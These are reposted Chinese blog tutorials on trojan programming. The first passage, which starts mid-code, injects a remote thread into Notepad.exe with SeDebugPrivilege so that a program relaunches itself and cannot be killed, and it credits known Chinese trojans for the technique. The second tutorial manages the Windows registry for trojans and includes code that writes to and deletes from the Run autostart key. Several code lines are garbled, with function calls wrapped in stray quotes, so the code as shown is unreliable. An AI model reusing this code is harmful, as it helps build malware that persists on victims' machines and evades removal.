        remotepar=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
        if(remotepar==NULL)
        {
            printf("VirtualAllocEx for Parameter Error\n");
            CloseHandle(rphandle);
        }

        if(WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL)==FALSE)
        {
            printf("WriteProcessMemory for Parameter Error\n");
            CloseHandle(rphandle);
        }

 

        /*****************************************************************/
                        /*将远程线程注入目标进程*/
        /*****************************************************************/

       
        ThreadHandle="CreateRemoteThread"(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
       
        if(ThreadHandle==NULL)
        {
            printf("CreateRemotThreadHandle Error\n");
            CloseHandle(rphandle);
        }
        else
            printf("CreateRemotThreadHandle is ok\n");

        return ThreadHandle;
}
3.其它自定义函数实现

其实CreateRemoteThreadProc函数就是最关键的实现了,最后介绍一个这个函数中的两个自己定义函数
复制内容到剪贴板
代码:
DWORD processtopid(char *processname)//跟据进程名称取PID值
{
    DWORD    lpidprocesses[1024],cbneeded,cprocesses;
    HANDLE   hprocess;
    HMODULE  hmodule;
    UINT     i;
    TCHAR    normalname[MAX_PATH]=("UnknownProcess");
   
    if(!EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded))
    {
        return -1; 
    }
    cprocesses="cbneeded/sizeof"(DWORD);
    for(i=0;i<cprocesses;i++)
    {
        hprocess="OpenProcess"(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
        if(hprocess)
        {
            if(EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded))
            {
                GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
                if(!strcmp(normalname,processname)) 
                {
                    CloseHandle(hprocess);
                    return (lpidprocesses[i]);
                }
            }
        }
    }
    CloseHandle(hprocess);
    return 0;
}
复制内容到剪贴板
代码:
BOOL EnablePriv()//提升进程权限
{
    HANDLE hToken;
    if ( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken) )
    {
        TOKEN_PRIVILEGES tkp;
       
        LookupPrivilegeValue( NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid );    //修改进程权限
        tkp.PrivilegeCount=1;
        tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges( hToken,FALSE,&tkp,sizeof tkp,NULL,NULL );    //通知系统修改进程权限
    }
        return 0;
}
4.主函数的实现

功能都实现了主函数相对十分简单其代码如下:
复制内容到剪贴板
代码:
int main(int argc, char* argv[])
{
    HANDLE RemoteThreadHandle;

    EnablePriv();

    RemoteThreadHandle="CreateRemoteThreadProc"("Notepad.exe");//注入进程

    WaitForSingleObject(RemoteThreadHandle,INFINITE);//等待结束

    return 0;
}
5.测试程序效果

测试打开本文所属的程序,测试会发现通过结束进程等方法无法关闭本程序,这是因为程序被关闭后Notepad.exe程序会重新启动它
如果想关闭程序,只要先结束Notepad.exe就可以了。

这样线程守护就完成了,本程序很多地方参照了TOo2y大哥的三线程诱鼠器代码在此表示感谢,其实多线程最初在2002年无花果的"中国黑客"
病毒中使用,并广为人知,到现在这个技术仍被大量使用着,像鸽子,凋零玫瑰的NCPH的服务端都有这样的技术,如果你有不明白的地方
或者文章有错误欢迎你跟我交流我的QQ是 121121606

系统分类: 软件开发  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 转贴  | 

点击查看原文

发表评论 阅读全文(347) | 回复(0)

发表于 2008/8/1 2:56:58

1

关于投票

转帖:木马编程之注册表管理

http://www.heibai.net/ARTICLE/INFO/info.php?infoid=41254

前几期分别讨论了,系统服务,文件传输,网络文本语音和其它方面的内容,现在我们来讨论在木马中注册表的实现,就我自己感觉在木马中对注册表的使用并不多,写其它程序时反倒用的不少.不过注册表还是比较重要的学会它不会吃亏呵呵。

开始前先了解一些基础知识,对后面的工作会方便不少,其码不会出现散晕的现像,对注册表的历史也就不再说了有兴趣可以
查查新华字典呵呵.注册表的组织方式跟文件目录比较相似,主要分为 跟键,子键,键值项 三部分跟文件目录对应的话就是
跟目录,子目录,和文件.分别介绍一下,跟键为分5个分别为HKEY_CLASSES_ROOT,HKEY_CURRENT_USER,HKEY_LOCAL_MACHINE
HKEY_USERS,HKEY_CURRENT_CONFIG把它们理解成磁盘的五个分区可以了,子键可以有多个子键和键值项,就像一个目录中可
以有多个子目录和多个文件一样,而键值项可以理解为文件它由三部分组成,分别为 名称,类型,数据. 类型又分为多种主要
包括如下:

REG_BINARY        二进制数据

REG_DWORD        32位双字节数据

REG_SZ            以0结尾的字符串

REG_DWORD_BIG_ENDIAN    高位排在底位的双字

REG_EXPAND_SZ        扩展字符串,可以加入变量如%PATH%

REG_LINK        UNICODE 符号链接

REG_RESOURCE_LIST    设备驱动程序资源列表

REG_MULTI_SZ        多字符串

注册表数据项的数据类型有8种但最常用的主要是前3种而以,有了这些基础下面我们讨论如何编程实现对注册表的操作

 


打开/关闭注册表句柄

 

在对注册表操作前应该先打开指定的键,然后通过键的句柄进行操作,打开键句柄可以用API RegOpenKeyEx来实现其原形如下

RegOpenKeyEx(
        hKey,        //父键句柄
        lpSubKey,    //子键句柄
        dwOptions,    //系统保留,指定为0
        samDesired,    //打开权限
        phkResult,    //返回打开句柄
        )

其中打开权限有多种 想方便的话可以指定为KEY_ALL_ACCESS 这样什么权限都有了,当函数执行成功时返回ERROR_SUCCESS

其实例代码如下:

    HKEY key;
    LPCTSTR data="SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
    if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,data,0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS)
    ...{
        /**//*需要执行的操作...*/
    }
    ::RegCloseKey(key);
要注意的是在使用后应该调用RegCloseKey();函数为关闭句柄.

 

木马编程DIY之注册表管理   文/图 冷风
获取子键/键值信息


在现实的编程操作中我们常常需要获取 子键/键值的信息比如:子键/键值的数量,长度,以及数据的最大长度等等这些信息可以
通过RegQueryInfoKey函数来获取

它的原型如下:

RegQueryInfoKey(
        hkey,            //要获取信息的句柄
        lpClass,        //接受创建健时的Class字符串
        lpcbClass,        //lpClass的长度
        lpReserved,        //系统保留,指定为0
        lpcSubKeys,        //子键数量
        lpcbMaxSubKeyLen,    //子键中最长名称的长度
        lpcbMaxClassLen,    //子键中最长Class字符串长度

        lpcVlaues,        //键值数量
        lpcbMaxValueNameLen,    //键值项中最长名称的长度
        lpcbMaxValueLen,    //键值项数据最大长度
        lpcbSecurityDescriptor,    //安全描述符长度
        lpftLastWriteTime,    //FILETIME结构,最后修改时间
        )
哈哈是不是挺吓人的?其实看实际情况接受自己需要的就好了,不需要的可以放个NULL就OK了,还有一点需要注意就是它所返回
的长度都不包括结尾的0字符,所以在使用时应该用长度+1

其实例代码如下

DWORD dwIndex="0",NameSize,NameCnt,NameMaxLen,Type;
DWORD KeySize,KeyCnt,KeyMaxLen,DateSize,MaxDateLen;

if(RegQueryInfoKey(key,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
...{
    printf("RegQueryInfoKey错误");
    return;
}

用的时候套用格式就成了,不然会很麻烦的.....有了这些信息我们就可以枚举子键和键值的信息了

 

枚举子键信息


枚举子键可以用API函数 RegEnumKeyEx来实现 调用RegEnumKeyEx时将返回子键的名称,长度和一些相关数据,如果想得到一个
键下的全部子键的话应该循环调用,直到返回ERROR_NO_MORE_ITEMS为至,就说明以枚举完了所有数据其函数原型如下

RegEnumKeyEx(
        hkey,        //被枚举的键句柄
        dwIndex,    //子键索引编号
        lpName,        //子键名称
        lpcbName,    //子键名称长度
        lpReserved,    //系统保留,指定为0
        lpClass,    //子键类名
        lpcbClass,    //子键类名长度
        lpftLastWriteTime//最后写入时间
        )
因为在之前我们以通过RegQueryInfoKey函数获取了键的有关数据,所以在这里不再跟据ERROR_NO_MORE_ITEMS来实现了

其实现代码如下:

for(dwIndex=0;dwIndex<KeyCnt;dwIndex++)        //枚举子键
...{
    KeySize="KeyMaxLen"+1;            //因为RegQueryInfoKey得到的长度不包括0结束字符,所以应加1
    szKeyName=(char*)malloc(KeySize);
    /**//*参数定义请参照获取子键/键值信息部分...*/
    RegEnumKeyEx(hKey,dwIndex,szKeyName,&KeySize,NULL,NULL,NULL,NULL);//枚举子键
    printf(szKeyName);
}

最后需要注意的是在每次调用RegEnumKeyEx前必须重新将KeySize的值设为KeyMaxLen缓冲区的大小,因为每次函数返回时
KeySize的值会变成返回的键值的名称长度,随着循环次数这个值会变小,而可能出现无法枚举所有键值项的情况.

 

枚举键值信息

枚举键值信息的方法与枚举子键信息极为相似,可以用RegEnumValue函数实现,其函数原型如下:

RegEnumValue(
        hkey,        //被枚举的键句柄
        dwIndex,    //子键索引编号
        lpValueName,    //键值名称
        lpcbValueName,    //键值名称长度
        lpReserved,    //系统保留,指定为0
        lpType,        //键值数据类型
        lpDate,        //键值数据
        lpcbDate    //键值数据长度
        )
其实现代码如下:

for(dwIndex=0;dwIndex<NameCnt;dwIndex++)    //枚举键值
...{
    DateSize="MaxDateLen"+1;
    NameSize="NameMaxLen"+1;
    szValueName=(char *)malloc(NameSize);
    szValueDate=(LPBYTE)malloc(DateSize);
    /**//*参数定义请参照获取子键/键值信息部分...*/
    RegEnumValue(hKey,dwIndex,szValueName,&NameSize,NULL,&Type,szValueDate,&DateSize);//读取键值

    if(Type==REG_SZ)
    ...{
        /**//*判断键值项类型并做其它操作......*/
    }
    if(Type==REG_DWORD)
    ...{

    }

}

与枚举子键相似,在每次循环中应该重新设置    数据长度DateSize=MaxDateLen+1键值名称长度NameSize=NameMaxLen+1


创建/删除子键

创建子键跟打开子键差不多,要以用RegCreateKeyEx函数来实现,其原型如下

  
RegCreateKeyEx(
        hkey,            //父键句柄
        lpSubKey,        //子键句柄
        Reserved,        //系统保留,指定为0          
        lpClass,        //定义子键类名,通常设为NULL
        dwOptions,        //创建子键时的选项
        samDesired,        //创建后操作权限
        lpSecurityAttributes,    //指向SECURITY_ATTRIBUTES结构,指定键句柄的继承性
        phkResult,        //返回创建句柄
        lpdwDisposition        //通常设为NULL
        )

个人感觉这个API 罗哩罗嗦不好使大多参数在大多数时候都放NULL,还不如16位下的API函数RegCreateKey用着方便

其实例代码如下:

HKEY KEY;

if (ERROR_SUCCESS!=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\MyKey",&KEY))
...{
    MessageBox("创建失败!");
}else
...{
    MessageBox("创建成功!");
}

嘿嘿 是不是简单多了?

不关什么事破坏总比创建要容易,删除一个键可以用RegDeleteKey()实现,它有两个参数原型如下

RegDeleteKey(
        hkey,        //主键句柄
        lpSubKey,    //子键名称字符串

        )
如果想删除上面创建的MyKey子键可以用下面的代码实现:

if(ERROR_SUCCESS==RegDeleteKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\MyKey"))
...{
    AfxMessageBox("删除成功!");
}else
...{
    AfxMessageBox("删除失败!");
}
      
需要注意的是 在创建子键时可以创建多级子键,比如

RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\MyKey1\MyKey2",&KEY)

如果MyKey1不存在的话那么它将先创建MyKey1再创建MyKey2,这一点与文件系统中创建目录是不同的

但是删除的时候却不能删除多级子键比如我想删除MyKey1那么我必须先删除MyKey2才可以,不过一个子键下面的多个键值
可以一次删除.

木马编程DIY之注册表管理   文/图 冷风

创建/删除键值项


创建键值可以用RegSetValueEx函数来实现,它的原型如下:

RegSetValueEx(
        hkey,        //键句柄,键值项将保存在此键下
        lpValueName,    //键值项名称
        Reserved,    //系统保留,指定为0
        dwType,        //键值项类型
        lpDate,        //键值项数据
        cbDate        //键值项长度
        )
使用这个函数的时个有一点需要注意,其中参数lpDate和cbDate的值要跟据dwType的值来设定,按常用设置我们分三种情况

1当dwType为REG_SZ时,这时跟通常一样,lpDate为要设置的数据, cbDate为数据的长度

2当dwType为REG_DWORD 时,cbDate应该设为4,为什么?因为不设为4就不对

3当dwType为REG_BINARY 时,cbDate也应该设为4,没有为什么了吧呵呵

如果调用时,键值项名称以经存在了会怎么样呢?答案是:覆盖 用新的键值项数据覆盖原来的,如果没有就新建一个

我们来看一下实现功能的实例代码:

void CreateValue::OnCreate()
...{
    HKEY    key;
    UpdateData(true);
    if(m_type=="REG_SZ")
    ...{
        if(RegOpenKeyEx(MKEY,SubKey,0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS)  
        ...{
            if(::RegSetValueEx(key,m_name,0,REG_SZ,(const unsigned char *)m_date,MAX_PATH)==ERROR_SUCCESS)
            ...{
                MessageBox("创建成功!");
            }
        }
    }

    if(m_type=="REG_DWORD")
    ...{
        if(RegOpenKeyEx(MKEY,SubKey,0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS)  
        ...{
            if(::RegSetValueEx(key,m_name,0,REG_DWORD,(const unsigned char *)m_date,4)==ERROR_SUCCESS)//注意数据长度应该设为4
            ...{
                MessageBox("创建成功!");
            }
        }
    }

    /**//*其它类型的设置......*/
}

删除键值可以用RegDeleteValue来实现它的函数原型如下

RegDeleteValue(
        hkey,        //父键句柄
        lpValueName    //要删除的键值项名称
        )
其实例代码如下:

HKEY key;
char value[MAX_PATH]="LengFeng"            //键值
LPCTSTR data="SOFTWARE\Microsoft\Windows\CurrentVersion\Run";//路径

RegOpenKeyEx(HKEY_LOCAL_MACHINE,data,0,KEY_WRITE,&key);        //打开

if(ERROR_SUCCESS==::RegDeleteValue(key,value))            //删除
...{
    MessageBox("删除成功!");
}


备份/恢复注册表


备份和恢复注册表相对来说用的不是太多,我在程序中也没有加入这项功能,但为了这这篇文章完整一些,就用一个运行在CONSOLE
下的小程序来讨论一下它们的实现

备份注册表可以用RegSaveKey函来实现 它的原形如下

RegSaveKey(
        hkey,            //要备份的键句柄
        lpFile,        //保存信息的文件名称
        lpSecurityAttributes    //文件安全属性
        )

hkey为要备份的键句柄,可以是系统预定义的,也可以是用RegOpenKey()打开或是RegCreateKeyEx()创建的
lpFile为保存信息的文件名称,注意这个文件必须是不存在的,而且也不能有扩展名(否则RegRestoreKey()函无法读取)
lpSecurityAttributes,它在NT系统中用来设置新文件的安全属性,通常设置为NULL

在使用这个函数时需要有SE_BACKUP_NAME权限,而这个权限是不可以在RegOpenKey()或是RegCreateKeyEx()指定的
要做到这一点我们需要提升自己的权限,其具体实现如下代码如示:

#include <windows.h>            
#include <stdio.h>
#include <stdlib.h>
void main()
...{
    char strKey[]="Software\Microsoft\Internet Explorer";
    LPTSTR szSaveFileName;
    HKEY key;
    // 申请备份权限
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
        return;
    LookupPrivilegeValue(NULL,SE_BACKUP_NAME,&tkp.Privileges[0].Luid);//申请SE_BACKUP_NAME权限
    tkp.PrivilegeCount=1;
    tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;          
    AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
    //开始备份工作
    szSaveFileName="LPTSTR"("D:\KeyDate");        //注意文件不可存在否则无法成功
    RegOpenKeyEx(
                            HKEY_CURRENT_USER,
                            (LPCTSTR)strKey,
                            0,
                            KEY_ALL_ACCESS,
                            &key);
    RegSaveKey(key,szSaveFileName, NULL);
    RegCloseKey(key);
}

上面用到了提升权限的代码,以前杂志上面有很多可以参考一下来看,这样备份就完成了.而恢复可以用函数RegRestoreKey来实现
它的原形如下
RegRestoreKey(
        hkey,            //要恢复的键句柄
        lpFile,        //保存信息的文件名称
        dwFlage        //标志是否易失
        )
此函数的前两个参数可以与RegSaveKey相同,而参数dwFlage为TRUE的话是暂时恢复注册表,如果为FALSE则是永久修改注册表值.同样需要
注意的是使用这个函数需要有SE_RESTORE_NAME权限。

到现在对注册表的基本操作就做完了,我们也可以休息一下了,至于具体细节的实现可以参考一下本文所附的源代码,当然喽程序虽然是模仿WINDOWS的注册表,不过功能和细节和WINDOWS的注册表相比还是有很大差距的,如果有兴趣的话可以继续改进,呵呵虽然如此,但在一些对注册表限至比较严的网吧中,用来顾顾急救救火还是可以的。这篇文章和程序断断续续写了一周,如果本文能帮助你解决几个即使很小的问题,那么我也倍感欣慰了呵呵

 

系统分类: 软件开发  |  用户分类: 红色黑客  |  标签: 无标签  |  来源: 转贴  | 

点击查看原文

发表评论 阅读全文(284) | 回复(0)

Total , Page /